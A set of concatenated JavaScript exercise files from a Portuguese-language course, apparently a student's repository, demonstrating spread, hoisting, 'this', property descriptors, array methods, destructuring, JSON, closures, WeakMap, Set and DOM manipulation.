Desestruturação: [a, b, ...objIteravel] = [1, 2, 3, 4, 5]; */
//No ES2015 com spread:
var arr10 = [0, 1, 2];
var arr20 = [3, 4, 5];
arr10.push(...arr20);
console.log(arr10);
console.log("");
function mostrarNumeros(a, b, c, d) {
console.log("Números: ", a, b, c, d);
}
const arrayNumeros = [1, 2, 3, 4, 5, 6];
mostrarNumeros(...arrayNumeros);
console.log(mostrarNumeros);
console.log("");
var partes = ['ombros', 'joelhos'];
var letra = ['cabeca', ...partes, 'e', 'dedos'];
console.log(letra);
console.log(""); console.log(""); console.log("");
let arraySpread = [...arr10, ...arr20, ...arrayNumeros, ...partes, ...letra];
console.log(arraySpread);
console.log(""); console.log(""); console.log("");<file_sep>/sequencia-escape/Seção 20/Hoisting.js
//Hoisting a variável é criada após ter sido lida em algum lado do código eX:
var sobrenome = "Paula";
console.log(sobrenome); //automaticamente o JS vê se existe mas não lê o parametro
//Hoisting com => Com funções
msgSaudacao();
function msgSaudacao() {
console.log("Olá");
}
//Exemplo 2- um host não inicializa o valor de uma variável ## msg is not a function
msg();
var msg = function () {
console.log("Oláaaaaaaaaaaaaa");
}<file_sep>/sequencia-escape/Seção 21 - this/167.js
//>>>>>>this em escopo de objeto:
let pessoaObjetoLiteral = {
nome: 'João',
exibirThis: function () {
console.log(">>>>>this em escopo objeto literal - método:", this);
console.log(">>>>>this == window", this == window);
console.log(">>>>>this == pessoaObjetoLiteral", this == pessoaObjetoLiteral);
}
}
pessoaObjetoLiteral.exibirThis(); // ao invocar this com a função fica ligado
console.log('-------------------------------------');
function Pessoa(namePar) {
this.nameInterno = namePar;
this.exibirThis = function () {
console.log(">>>>>this em escopo objeto função construtora - método:", this);
console.log(">>>>>this == window", this == window);
console.log(">>>>>this == objPessoa", this == objPessoa);
console.log('this.nameInterno', this.nameInterno);
}
}
var objPessoa = new Pessoa('Maria');
objPessoa.exibirThis();
let exibirThisPessoa = objPessoa.exibirThis;
console.log('exibirThisPessoa: ', exibirThisPessoa);
exibirThisPessoa();
console.log('-------------------------------------');
exibirThisPessoa.bind(objPessoa)(); // => bind utiliza o this do argumento dentro bind
console.log('------------------exibirThisPessoa.bind(pessoaObjetoLiteral)(); ::::');
exibirThisPessoa.bind(pessoaObjetoLiteral)(); // criado com let e não função construtora
<file_sep>/sequencia-escape/Seção 18 - objetos/117 -118-119.js
// Tipos de propriedades de objeto e atributos
/*
Em objetos podemos criar dois tipos de propriedades
1. propriedades de Dados: Armazena o dado internamente em seu atributo value
2. Propriedades de Acesso: Prover meios para informar e recuperar dado de uma propriedades pelos atributos getter setter;
// TODO Cada propriedade tem atributos diferentes
1. Propriedades de Dados:
value: 'Marcelo' => valor : armazena o valor da propriedade
writable: true => boolean que informar se pode setar dado
enumerable: true => Determina se pode iterar pela propriedade (visivel nos laços, for in & for Of)
configurable: true => Determina se propriedade pode ser alterada
2. Propriedades de acesso tem os seguintes atributos internamente:
get: [Function: get], - Função para retornar o dado;
set: [Function: set], - Função para setar um dado em propriedade de dado;
enumerable: false,
configurable: false
*/
// criando propriedades de objeto de acesso e dado
// atributos de propriedade
// métodos acessores get & set
/*
var folhaPagamento ={
_total: 0, // nomenclatura para informar que este atributo é privado e não deve ser acessado diretamente
set total(valor){
//novoValor = valor + 1;
console.log("set");
this._total = valor;
},
get total (){
console.log("get");
return this._total;
}
}
folhaPagamento.total = 67233.42;
console.log("Total folha de pagamento: R$", folhaPagamento.total);
console.log("Atributos das propriedades do objeto: ", Object.getOwnPropertyDescriptors(folhaPagamento));
// Verificar se uma propriedade é iterável/enumerável
var objTeste = {a:1, b:2, c:3 }
console.log("a in objTeste: ", "a" in objTeste);
console.log("objTeste.propertyIsEnumerable('a'): ", objTeste.propertyIsEnumerable("a"));
console.log("objTeste.propertyIsEnumerable('toString'): ", objTeste.propertyIsEnumerable("toString"));
console.log("objTeste.propertyIsEnumerable('length'): ", objTeste.propertyIsEnumerable("length"));
console.log(objTeste);
for (var [k,v] of Object.entries(objTeste)){
console.log(k,v);
}
// ! definir propriedades
// por padrão numeravel e configurable são true----------------------------------//
Object.defineProperty(objTeste, "a", {
enumerable: false,
configurable: false
});
console.log("");
for (var [k,v] of Object.entries(objTeste)){
console.log(k,v);
};
console.log("delete objTeste.a ? : ", delete objTeste.a); // => não permite alterar porque está configurable: false
console.log("");
//tornar uma propriedade gravável em não gravável--------------------------//
objTeste.b = 10;
console.log("objTeste.b", objTeste.b);
Object.defineProperty(objTeste, "b", {
writable: false
});
objTeste.b = 20;
console.log("objTeste.b", objTeste.b);
Object.defineProperty(objTeste, "b", {
value: 30
});
console.log("objTeste.b", objTeste.b);
console.log("");
//Definindo propriedades e atributos --------------------------------//
var objAluno2 = {};
Object.defineProperties(objAluno2, {
nome:{
value: "Fernanda",
enumerable: true,
writable: true
},
turma:{
value:"A",
enumerable:true, //falso, não vai aparecer no console.log
configurable: false,
writable: false
}
});
console.log(objAluno2);
objAluno2.turma = "B";
delete objAluno2.turma;
console.log(objAluno2);
var objAluno3 ={};
Object.defineProperties(objAluno3, {
_nome: {
value: "Marcelo",
enumerable:true,
configurable:true,
writable: true
},
nome: { /// Encapsulamento
get: function(){
return this._nome + "turma : A"
},
set: function(valor){
this._nome = valor;
}
}
});
objAluno3.nome = "João";
console.log("Nome aluno: ", objAluno3.nome);
//recuperar as informações de atributos de propriedades
var objCarro = { marca: 'fiat', cor: 'preta' };
console.log("Object.getOwnPropertyDescriptors(objCarro): ", Object.getOwnPropertyDescriptors(objCarro));
Object.defineProperty(objCarro, 'cor', { value: 'pretas', enumerable: false, configurable: false, writable: false });
console.log("Object.getOwnPropertyDescriptors(objCarro): ", Object.getOwnPropertyDescriptors(objCarro));
console.log("Object.getOwnPropertyDescriptor(objCarro, 'marca'): ", Object.getOwnPropertyDescriptor(objCarro, "marca"));
console.log("Object.getOwnPropertyDescriptor(objCarro, 'length'): ", Object.getOwnPropertyDescriptor(objCarro, "length"));
var retorno = Object.getOwnPropertyDescriptor(objCarro, "marca");
console.log(retorno);
console.log(Object.prototype.toString.call(retorno));
console.log("");
*/
//Definir objecto como não extensível
var objMoto = { marca: 'honda', cor: 'vermelha' };
console.log("Object.getOwnPropertyDescriptors(objMoto): ", Object.getOwnPropertyDescriptors(objMoto));
console.log("Object.isExtensible(objMoto): ", Object.isExtensible(objMoto));
// ! Bloquear a extensão de objectos = > Object.preventExtensions
console.log("Object.preventExtensions(objMoto): ", Object.preventExtensions(objMoto));
objMoto.placa = 'hdf1234';
objMoto.ligar = function () { return "moto ligada" };
objMoto.cor = 'preta'; // só é não extensivel para novos campos, podemos alterar os existentes
console.log("Object.getOwnPropertyDescriptors(objMoto): ", Object.getOwnPropertyDescriptors(objMoto));
console.log("Object.isExtensible(objMoto): ", Object.isExtensible(objMoto));
console.log("Placa in objMoto: ", 'placa' in objMoto);
console.log("Ligar in objMoto: ", 'ligar' in objMoto);
console.log("delete objMoto.cor: ", delete objMoto.cor);
console.log("Object.getOwnPropertyDescriptors(objMoto): ", Object.getOwnPropertyDescriptors(objMoto));
//Object.defineProperty(objMoto, 'cor', { value: 'Amarela' }); o objeto não é extensivel, dá erro<file_sep>/sequencia-escape/Seção 19 - array/145.js
/*ECMAScript 5
Filter - Este método itera por todos os elementos com valores atribuidos q não seja undefined;
Filter retorna um novo array com base em um retorno booleano (true) de cada iteração;
Recebe uma função (callback) por parâmetro no qual é chamada para cada elemento do array;
A funcão pode receber até três parâmetros:
1- valor (elemento array)
2- índice do elemento no array
3- o próprio array
*/
var nomes = ['Maria', 'João', 'Pedro', 'José', 'Flávio', 'Fernanda', 'Marta', 'jaquim'];
var numeros = [2, 9, 5, 4, 3, 1, 0, 7, 6, 15];
var subConjuntoNumeros = numeros.filter(function (valor, indice, array) {
return valor > 5;
});
//! Não cria um novo array
console.log('resultado filtro : ', subConjuntoNumeros);
//pesquisa
console.log('nomes', nomes);
var regExp = new RegExp("[a-zA-Z]*a[a-zA-Z]*");
var resultadoNomes = nomes.filter(function (valor) {
return regExp.test(valor);
});
console.log("resultado nomes pesquisa", resultadoNomes);<file_sep>/sequencia-escape/Seção 22 - ES6/193 - Destructuring Array.js
//Desestruturação de array
let array = [1, 2, 3, 4, 5, 6, 7, 8, 9];
let [um, dois, tres, , , , , , nove, dez] = array;
console.log(um, dois, tres, nove, dez);
let pessoas = [
{ nome: 'maria', telefone: '6456342' },
{ nome: 'Carlos', telefone: '64563432342' },
{ nome: 'mPedro', telefone: '6423423456342' }
]
let [, { nome, telefone }] = pessoas; //Reparar que na primeira posicao do array está em branco
// assim o ES6 sabe que é o 2
console.log(`Nome : ${nome} - telefone: ${telefone}`);
console.log("");
//desestruturacao-inverter-valores
let x = 10;
let y = 20;
console.log(x, y);
[x, y] = [y, x];
console.log(x, y);<file_sep>/sequencia-escape/Seção 22 - ES6/187 - arrow com eventos objeto.js
/* As arrow function */
//eventos
/*
let buttonHtml = document.getElementById('cadastrar-html');
buttonHtml.addEventListener('click', function () {
console.log("Meu this é : ", this);
}, false); // assim o objeto é o botão
let buttonHtml = document.getElementById('cadastrar-html');
buttonHtml.addEventListener('click', function () {
console.log("Meu this é : ", this);
}.call(this), false); //call é responsável por definir o this para a função = this é window
//call executa logo
*/
let buttonHtml = document.getElementById('cadastrar-html');
buttonHtml.addEventListener('click', function () {
console.log("Meu this é : ", this);
}.bind(this), false); //bind é responsável por definir o this para a função = this é window (não executa logo)
let buttonBoot = document.getElementById('cadastrar-boot');
buttonBoot.addEventListener('click', () => {
console.log("Meu this é : ", this);
}, false);
function Pessoa() {
this.nome;
this.cadastrarEventoHtmlExFn = function () {
let buttonHtml = document.getElementById('cadastrar-html-objeto');
buttonHtml.addEventListener('click', function () {
console.log("Meu this cadastrar-html-objeto é: ", this)
}, false); // Objeto
}
this.cadastrarEventoBootArrow = function () {
let buttonHtml = document.getElementById('cadastrar-boot-objeto');
buttonHtml.addEventListener('click', () => console.log("Meu this cadastrar-boot-objeto é: ", this), false);
}
}
var pessoa = new Pessoa(); // this lexico
pessoa.cadastrarEventoHtmlExFn();
pessoa.cadastrarEventoBootArrow();
<file_sep>/sequencia-escape/Seção 18 - objetos/112.js
var obj01 = new Object ();
var obj02 = new Array(1,2,3);
var obj03 = new Date();
var obj04 = new Error("Ocorreu um erro");
var objetoPessoa = {
nome: "<NAME>",
cpf: 1234124123,
dataNascimento: new Date(1985, 5, 11),
ativo: true,
"teste prop": "teste",
contatos: [123415415, 21321312312, 12312312],
endereco: {rua: "Rua A", numero: 2534, cep: 748547453},
saudacao: function(){
return "Olá me chamo-me "+ this.nome + "!";
}
}
console.log(objetoPessoa);
console.log("########");
console.log("nome: ", objetoPessoa.nome);
console.log("cpf: ", objetoPessoa.cpf);
console.log("Data de Nascimento: ", objetoPessoa.dataNascimento);
console.log("Ativo: ", objetoPessoa.ativo);
console.log("Teste Prop: ", objetoPessoa["test prop"]);
console.log("Contactos : ", objetoPessoa.contatos[0]);
//retiriar todos os dados dentro do array que o objeto contem
for(var contato of objetoPessoa.contatos){
console.log("Contato: ", contato);
}
//For in para retirar todos os dados do objecto
for(var key in objetoPessoa.endereco){
console.log(key, objetoPessoa.endereco[key]);
}
//chamar método
console.log(objetoPessoa.saudacao());<file_sep>/sequencia-escape/Seção 19 - array/forEach.js
console.log("");
//forEach Método adicionado no ECMAScript 5 no Array.prototype
var totalVenda = 0;
var vendaItens = [
{ codigo: 0, preco: 2.2, qtde: 2 }, // => item
{ codigo: 1, preco: 7.99, qtde: 5 },
{ codigo: 2, preco: 12, qtde: 3 }
];
//forEach = função callback (função anónima)
vendaItens.forEach(function (item, index, array) {
var Subtotal = item.qtde * item.preco;
totalVenda += Subtotal;
item.Subtotal = Subtotal + ' €';
})
console.log('TOTAL: R$', totalVenda);
console.log("");
console.log('ItensSubtotal: ', '\n', vendaItens);
//ARRAY MULTIDIMENSIONAL
console.log("");
console.log("");
var array = [[1, 2, 3], ['a', 'b', 'c']];
console.log(array[0]);
console.log(array[1]);
console.log("");
console.log(array[0][0]);
console.log(array[1][0]);
console.log("");
var produtos = [
[{ codigo: 28, nome: '<NAME>' }, ['amarelo', 'azul', 'vermelho']], //0
[{ codigo: 52, nome: '<NAME>' }, ['amarelo', 'preto', 'vermelho']] //1
];
console.log(produtos[0]);
console.log(produtos[0][0]['nome'], + " Cores: " + produtos[0][1].toString());<file_sep>/sequencia-escape/Seção 22 - ES6/192 - Destructuring funçoes.js
// Desestruturação como argumentos
let objProduto = { descricao: "Livro JavaScript", preco: 79.52, pags: 100 }
let objCliente = { nome: 'Pedro' }
function venda({ nome }, { descricao, preco, pags: paginas }, qtde = 1) { //desestruturação como parametros
console.log(`Cliente: ${nome}`);
console.log(`Produto: ${descricao} - Páginas ${paginas}`);
console.log(`Qtde: ${qtde} Preço: ${preco}`);
console.log(`Total: ${qtde * preco}`);
console.log(``);
}
venda(objCliente, objProduto, 2);<file_sep>/sequencia-escape/Seção 19 - array/147-some.js
//Some- este método testa se alguns dos elementos no array passam no teste implementado
//pela função atribuída
// Retorn True ou false, sendo que irá retornar true se pelo menos um elemento do array passar no teste
var x = [1, 12, 312, 4, 23324];
var retorno1 = x.some(function (item, indice, arrayAll) {
return item > 10;
});
console.log(retorno1);<file_sep>/sequencia-escape/Seção 22 - ES6/191 - Destructuring objetos.js
/* Destructuring (Destruturação de dados) é uma forma de extração de dados */
// Desestruturação de objetos
let objPessoa = {
nome: '<NAME>',
idade: 42,
email: '<EMAIL>',
sexo: 'feminino',
telefone: ' 34234234',
endereco: { rua: 'Rua', numero: 698, cidade: 'Fortaleza', estado: 'CE' },
site: undefined
}
// >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ES5
var telefone = objPessoa.telefone;
var email = objPessoa.email;
console.log(`>>>>Email ${email} - telefone : ${email}`);
// >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ES6
let { nome, idade } = objPessoa; //lê a extração de dados da variável objPessoa
console.log(`>>>>Nome ${nome} - Idade : ${idade}`);
//ROTULAR ::: para extrair valores com nomes de variáveis diferentes para não ter de usar as variáveis
let { nome: nomeCompleto, telefone: celular } = objPessoa;
console.log(`>>>>Nome Completo: ${nomeCompleto} - Celular : ${celular}`);
console.log("");
//
let { rua, numero, cidade, estado } = objPessoa.endereco;
// ou
//let {endereco : {rua, numero, cidade, estado}} = objPessoa;
console.log(rua, numero, cidade, estado);
console.log("");
//valor padrao
let { escola, pais, site } = objPessoa;
console.log(escola, pais = 'Brasil', site = 'www.meusite.com');
console.log("");
<file_sep>/sequencia-escape/Seção 18 - objetos/125- JSON.js
//JSON é u object
// suporta string, number,object,array,true,false,null
var pessoa = {
nome: "<NAME>",
cpf: 1231,
dataNascimento: new Date(1974, 3, 16),
ativo: true,
"testeString": 'teste string',
contactos: [123123, 123123],
endereco: {
rua: "Rua B",
numero: 367,
pontoRef: {
ponto1: "Ponto ref 1",
ponto2: "Ponto ref 2"
}
},
expressaoReg: /teste/g,
error: new Error("Gerou um erro"), //JSON NAO PROCESSA = null
funcao: function () {
return "Teste";
},
valorNull: null,
valorUndefined: undefined,
valorNaN: NaN, //JSON NAO PROCESSA = null
varlorInfinity: Infinity, //JSON NAO PROCESSA = null
varlorInfinityNeg: -Infinity, //JSON NAO PROCESSA = null
stringVazia: "",
}
//console.log(pessoa);
var retornoObjJson = JSON.stringify(pessoa); // STRING
console.log(retornoObjJson);
console.log("retornJsonParaObjeto tipo?", typeof retornoObjJson);
var formatoJson = '{"nome":"<NAME>","cpf":1231,"dataNascimento":"1974-04-15T23:00:00.000Z","ativo":true,"testeString":"teste string","contactos":[123123,123123],"endereco":{"rua":"Rua B","numero":367,"pontoRef":{"ponto1":"Ponto ref 1","ponto2":"Ponto ref 2"}},"expressaoReg":{},"error":{},"valorNull":null,"valorNaN":null,"varlorInfinity":null,"varlorInfinityNeg":null,"stringVazia":""}';
console.log("");
var retornJsonParaObjeto = JSON.parse(formatoJson); // parsar string para objeto
console.log("retornJsonParaObjeto tipo?", typeof retornJsonParaObjeto);
console.log(retornJsonParaObjeto);<file_sep>/sequencia-escape/Seção 19 - array/144.Map.js
//ECMS5 - MAP
/* Map - este método itera por todos os elementos de uma array com valores atribuídos
e que não sejam undifined*/
/*
recebe uma função (callback) por parâmetro no qual é chamada para cada item/elemento do array
a função pode receber até três parâmteros:
1- valor - elemento array
2- índice do elemento
3- o próprio array */
/* Em cada iteração a função callback irá retornar um valor que irá compor um novo array
retornado pelo map */
// NÃO MODIFICA O ARRAY ORIGINAL
/* Para que o map itere no array, ele faz uma espécie de cópia temporária, caso sejam adicionados
ou removidos item depois do laço do map iniciar tais elementos não serão visíveis pelo map */
var numeros = [2, 4, 8, 10, 12];
var dobro = numeros.map(function (Elemen, indiceDoArray, array) {
return Elemen * 2;
});
console.log("Novo array, dobro : ", dobro);
<file_sep>/sequencia-escape/js/js.js
console.log("texto \n texto.");
console.log("\u00A9");
console.log('texto\'texto');
console.log("texto \"texto");
console.log("texto \\texto");<file_sep>/sequencia-escape/Seção 18 - objetos/124- Object.freeze e isFrozen.js
//! freeze || isFrozen
/* Congelando objecto, irá ficar: não extensível, não configurável e não será possível gravar dados
não pode ser adicionadar propriedades,
não pode deletar propriedades e
nem setar dados nas propriedades
depois de congelado não pode reverter o processo
-> o congelamento afeta apenas o objeto em questão e não a cadeia de protótipos*/
var artigo = {
auto: 'prof. X',
titulo: 'Classes em JS'
};
console.log("Object.isFrozen(artigo): ", Object.isFrozen(artigo));
console.log("Object.isExtensible(artigo): ", Object.isExtensible(artigo));
console.log("Object.isSealed(artigo): ", Object.isSealed(artigo));
console.log("");
//! Object.freeze(artigo) o que altera o freeze? => writable : false && configurable: false
console.log("Object.freeze(artigo) :", Object.freeze(artigo));
console.log("Object.isFrozen(artigo): ", Object.isFrozen(artigo));
console.log("Object.isExtensible(artigo): ", Object.isExtensible(artigo));
console.log("Object.isSealed(artigo): ", Object.isSealed(artigo));
console.log(Object.getOwnPropertyDescriptors(artigo));
artigo.paginas = 5;
artigo.titulo = "PHP"
console.log("delete artigo.titulo: ", delete artigo.titulo);
console.log(Object.getOwnPropertyDescriptors(artigo));<file_sep>/sequencia-escape/date.js
//date NÃO tem literal
//Objetos Date são baseados no valor de tempo
//que é o nº de milisegundos desde 1 de Jnaeiro de 1970
//new Date(valor;) => valor inteiro em milisegundos com base em 01/01/1970
//new Date(dataStrin); => Data Time String Format -YYYY-MM-DDTHH:mm:ss.sssZ
// new Date(ano,mês,dia,hora,minuto,segundo,milisegundo)
var data = new Date();
/*console.log(typeof data);
console.log("#####");
console.log(data);*/
var dataString = new Date("2017-10-23");
console.log(dataString.getFullYear());
console.log(dataString.getMonth()+1);
console.log(dataString.getDay()+1);
console.log(dataString.getDate()+1);
console.log(data.getHours());
console.log(data.getMinutes());
//atenção: quando é Date(2017,10,24) não é preciso acrescentar +1
var dataParam = new Date(2020,05,11);
console.log(dataParam);<file_sep>/sequencia-escape/Seção 21 - this/168- callback e call.js
function passos() {
console.log("################Estou no início de passos");
console.log(">>>>>this em escopo função passos com callback:", this);
console.log(">>>>>this == window", this == window);
console.log("###############Estou no fim de pasoss");
console.log("this.nomePessoa: ", this.nomePessoa);
}
let pessoa = {
nomePessoa: 'Alexandra',
andar: function (fnCallback) {
console.log("\\\\\\\\\\\\\\\\\\\\\\\\\\\\Estou no início do andar");
console.log(">>>>>this em escopo objeto método:", this);
console.log(">>>>>this == window", this == window);
fnCallback.call(this);
console.log("\\\\\\\\\\\\\\\\\\\\\\\\\\Estou no fim do andar");
}
}
pessoa.andar(passos);
/* 1 - Entra em pessoa
2 - Entra com escopo local
3 - this é objeto
4 - executa o callback => fnCallback(); ou seja passos();
5 - entra na função passos()
6 - imprime this que é window GLOBAL
7 - Imprime a confirmar que this é global
8 - depois de executar toda a linha vai para o fim da função anterior andar(fnCallback)
9 - Fim
*/
console.log('-------------funcao anonima-------------');
pessoa.andar(function () {
console.log('valor do this?:', this); // este this é global
})<file_sep>/sequencia-escape/Seção 19 - array/149 - lastIndexOf.js
//IndexOf e lastIndexOf
//Procurand um valor específico em um array e retornam seu índice
// IndexOf procura do primeiro para o último index
// lastIndexOf procura do últiumo para o primeiro
var valores = ['maria', 'josé', 'fernanda', 'paulo'];
var retorno1 = valores.indexOf('fernanda');
console.log(retorno1);
var retorno2 = valores.indexOf('joão'); // retorna -1 se não encontrar nada
console.log(retorno2 + ' ' + ': Retorna -1 quando não encontra');
//lastIndexOf
var retorno3 = valores.lastIndexOf('josé'); // é case sensitive
console.log(retorno3);
function pesquisarNome(nome) {
var retornoPesq = valores.indexOf(nome);
if (retornoPesq == -1) {
return 'Não foi encontrado esse nome no array'
} else {
return retornoPesq + " - " + valores[retornoPesq];
}
}
var retorno4 = pesquisarNome('paulo');
console.log('retorno4: ', retorno4);<file_sep>/sequencia-escape/Seção 22 - ES6/180 - Rest Parameter.js
/* ...theArgs
Há diferenças principais entre rest parameters e os arguments objects:
- o objeto arguments não é um array, enquanto rest parameters são instâncias Array,
isso significa que métodos como:
sort,
map,
forEach,
pop,
podem ser aplicados diretamente
- o objeto arguments possui a funcionalidade adicional de especificar ele mesmo (como a propriedade callee).
Como theArgs é um array, você pode pegar número de elementos usando a propriedade length:
*/
function fun1(...theArgs) {
console.log(theArgs.length);
console.log("Dentro da funcao");
}
console.log(fun1()); // 0
console.log(fun1(5)); // 1
console.log(fun1(5, 6, 7, 7, 345, 345, 345, 342, 234, 324, 234, 123)); // 3
console.log("");
console.log("");
console.log("");
/*////////////////////*/
function multiply(multiplier, ...theArgs) {
return theArgs.map(function (element) {
return multiplier * element;
});
}
var arr = multiply(10, 1, 2, 3, 1, 5, 9, 7, 10);
console.log(arr); // [2, 4, 6]
console.log("");
console.log("");
console.log("");
function sortRestArgs(...theArgs) {
var sortedArgs = theArgs.sort();
return sortedArgs;
}
console.log(sortRestArgs(5, 3, 7, 1)); // [1, 3, 5, 7]<file_sep>/sequencia-escape/Seção 20/160 - closure.js
/* Closure
Closure é um escopo próprio para função
Entenda closure como sendo algo fechado para acesso via escopo global,externo ao closure,
e ao mm tmp sendo aberto a partir do escopo local interno para acessar o escopo global.
Quando se cria uma função no escopo raiz, se cria uma closure para a mesma em escopo global;
Quando se cria uma função no escopo local de uma função, se cria uma closure em escopo local.
Somando isso a uma instrução de return e uma variável global para armazenar o closure podemos
contruir um escopo totalmente encapsulado e em memória em tempo indeterminado
Uma closure é criada com escopo no qual ela foi definida, mesmo que o escopo superior não exista
mais, a closure irá criar um clone temporário do escopo no qual foi criada */
//! Closure é um escopo isolado, encapsulado em uma função
/*
//exemplo 1
var contadorEscopoGlobal = 0;
console.log('contadorEscopoGlobal:', contadorEscopoGlobal);
function incrementar() {
var contadorEscopoLocal = null; //esta variável volta a null sempre a função acaba
++contadorEscopoLocal;
++contadorEscopoGlobal;
console.log('Dentro da função(contadorEscopoLocal):', contadorEscopoLocal);
}
incrementar();
incrementar();
incrementar();
//console.log('contadorEscopoLocal:', contadorEscopoLocal); //Não posso aceder da function incrementar
console.log('contadorEscopoGlobal:', contadorEscopoGlobal);
console.log("--------------------------");
//Aninhamento de escopo
var contador;
function incrementarV2() {
var contadorEscopoLocal = 0;
function gravar() {
++contadorEscopoLocal;
console.log("Dentro da função(contadorEscopoLocal): ", contadorEscopoLocal);
}
contador = gravar; // astribui a função gravar ao contador
}
incrementarV2();
contador();
contador();
contador();
console.log(contador);
*/
//EXEMPLO3
console.log("--------------------------");
var contar = (function () { //IIFE
var contadorPrivado = 0; //privado
console.log("");
function setarValor(valor) {
contadorPrivado += valor;
}
return { //objeto
incrementar: function () {
setarValor(1);
},
decrementar: function () {
setarValor(-1);
},
getValor: function () {
return contadorPrivado;
}
}
})();
console.log('incrementar', contar.incrementar());
console.log('valor do contador', contar.getValor());
console.log('decrementar', contar.decrementar());
console.log('valor do contador', contar.getValor());<file_sep>/sequencia-escape/Seção 18 - objetos/tipo_dado_obj.js
// Criar literarmente através de construtora ´new Object()´
//ou var carro = Object.create()
//todos os objectos têm uma proriedade chamada prototype que aponta para o objeto Pai
//
/*
Objecto
Propriedade | Valor
Pessoa
Nome | João
var pessoa = { nome: 'João'}
*/
//Criar objeto literal<file_sep>/sequencia-escape/Seção 22 - ES6/176 - WeakMap.js
/* Weak Map é uma estrutura de mapa de dados organizada por um conjunto de pares de
chave/valor, quase que idêntico ao Map;
- Só pode armazenar objeto e em suas chaves e os valores são arbitrários
- É uma coleção com fraca permanência dos elementos armazenados em memórias, pois o coletor
de lixo garbage collector apaga o original quando já não existir em memória
*/
//!Weak map só armazena objetos =>>>>>>>>>>> Só armazena objetos
const wm1 = new WeakMap(),
wm2 = new WeakMap(),
wm3 = new WeakMap();
const o1 = {},
o2 = function () { },
o3 = window;
console.log('------------set--------------------');
wm1.set(o1, 37);
wm1.set(o2, 'azerty');
wm2.set(o1, o2); // a value can be anything, including an object or a function
wm2.set(o3, undefined);
wm2.set(wm1, wm2); // keys and values can be any objects. Even WeakMaps!
console.log('------------get--------------------');
wm1.get(o2); // "azerty"
wm2.get(o2); // undefined, because there is no key for o2 on wm2
wm2.get(o3); // undefined, because that is the set value
wm1.has(o2); // true
wm2.has(o2); // false
wm2.has(o3); // true (even if the value itself is 'undefined')
wm3.set(o1, 37);
wm3.get(o1); // 37
wm1.has(o1); // true
wm1.delete(o1);
wm1.has(o1); // false
console.log('------------WM2--------------------');
console.log(wm2);
console.log('------------WM3--------------------');
console.log(wm3);
<file_sep>/sequencia-escape/Seção 20/161 - funcao anónima.js
/*Funcao anónima = função sem nome, não pode invocar diretamente
Vantagens:
-Função anónima não irá poluir o escopo global;
- Não pode ser chamada diretamente, evitando que qualquer pessoa possa chamar vi console
- Simplicidade na escrita e proposito de uso;
Desvantagem:
-Dificulta a reutilização do código
- São difíceis de debugar; */
<file_sep>/sequencia-escape/manipulacao-dom/js/js.js
///Vamos manipular o Nome <input type=text" id="nomeBoot" name="nomeBoot">
//(nome e id) = devem ter sempre o meu nome
//
//HTMLElement do tipo input
//HTMLElement do tipo button,radio,checkbox(há muitos elementos HTML)
var nomeBootInputText = window.document.getElementById("nomeBoot");
var estadoSelect = document.getElementById("estadoSelectBoot");
function selecionarCampos() {
console.log("Typeof: " + typeof nomeBootInputText);
console.log("Object call: " + Object.prototype.toString.call(nomeBootInputText));//chama para a toString o objecto nomeBootInputText
console.log("Recuperar valor com value: " + nomeBootInputText.value);
//nomeBootInputText.disabled = true; => para não permitir que o visitante insira o nome
console.log("disable: nomeBootInputText.disabled = true");
nomeBootInputText.readOnly = true;
console.log("read only nomeBootInputText.readOnly = true");
console.log("tagname: " + nomeBootInputText.tagName);
console.log("tagname type: " + nomeBootInputText.type);
//value = GET E SET Porque podemos ler e alterar
}
// SELECT
function selecionarCampoSelect() {
// [HTMLSelectElement]
// HTMLOPTIONSCOLLECTION
console.log("object call: " + Object.prototype.toString.call(estadoSelect));
console.log("estadoSelect.value :" + estadoSelect.value);
console.log("estadoSelect.selectedIndex :" + estadoSelect.selectedIndex);
console.log("tagName : " + estadoSelect.tagName);
console.log("tagName type: " + estadoSelect.type);
console.log(estadoSelect.selectedOptions);
console.log(estadoSelect.selectedOptions.item(0));
console.log(estadoSelect.selectedOptions[1]);
console.log(estadoSelect.length);
console.log(estadoSelect.disabled = true);
}
// CHECKBOX
//variável que vai recever o elemento emailpromocionalCheck
var emailPromocionalCheck = document.querySelector("#emailPromocionalCheckBoot");
function selecionarCampoEmailCheck(){
console.log("Object call tipo: "+ Object.prototype.toString.call(emailPromocionalCheck));
console.log("tagName : " + emailPromocionalCheck.tagName);
console.log("tagName type: " + emailPromocionalCheck.type);
console.log("valor value: " + emailPromocionalCheck.value);
console.log("Checked?: " + emailPromocionalCheck.checked);
}
var formaContatoRadio = document.querySelector("[name=formaContatoRadioBoot]");
function selecionarCampoRadio(){
console.log("object call: " + Object.prototype.toString.call(formaContatoRadio));
console.log("estadoSelect.value :" + formaContatoRadio.tagName);
console.log("estadoSelect.selectedIndex :" + formaContatoRadio.type);
console.log("tagName : " + formaContatoRadio.value);
console.log("tagName type: " + formaContatoRadio.checked);
}
//getElements
var radios = document.getElementsByName("formaContatoRadioBoot");
function selecionarCamposRadios(){
console.log("Object call: " + Object.prototype.toString.call(radios));
getElementB
}
var selects = document.getElementsByTagName("select");
var elementos = document.querySelectorAll("input[type=text]");
var formulario = document.querySelector("#formBoot");//seleciona o primeiro id com nome formBoot
//console.log("form tipo: " + Object.prototype.toString.call(formBoot));
function exibirDados(elemento){
console.log(elemento);
formBoot.nomeBoot.value ="Jaquim";
}
//createElement, appendChild, removeChild
var novo_elemento = document.createElement("p"); //cria <p></p>
var texto = document.createTextNode("Acabei de criar um Node com .createTextNod"); // cria var texto com o que está escrito dentro do Node
novo_elemento.appendChild(texto); //dá um filho ao novo_elemento (texto)
document.body.appendChild(novo_elemento); // o novo HTML elemento, vai para a raiz da árvore
var formFilhoNome = document.getElementById("nomeBoot");
var formPai = formFilhoNome.parentNode;
console.log(formPai);
formPai.insertBefore(novo_elemento, formFilhoNome);
formPai.replaceChild(formFilhoNome, novo_elemento);
formPai.replaceChild(novo_elemento, formFilhoNome);
formPai.removeChild(novo_elemento);
// adicionar um <p>
var p2 = document.createElement("p");
p2.innerText = "teste";
document.body.appendChild(p2);<file_sep>/sequencia-escape/Seção 22 - ES6/177 - Set.js
/* O objeto Set permite que você armazene valores únicos de qualquer tipo,
desde valores primitivos a referências a objetos.
Sintaxe: var meuSet = new Set([iterable]);
Não se pode adicionar 2 vez o mesmo número;
Set.add()
Set.clear()
Set.delete()
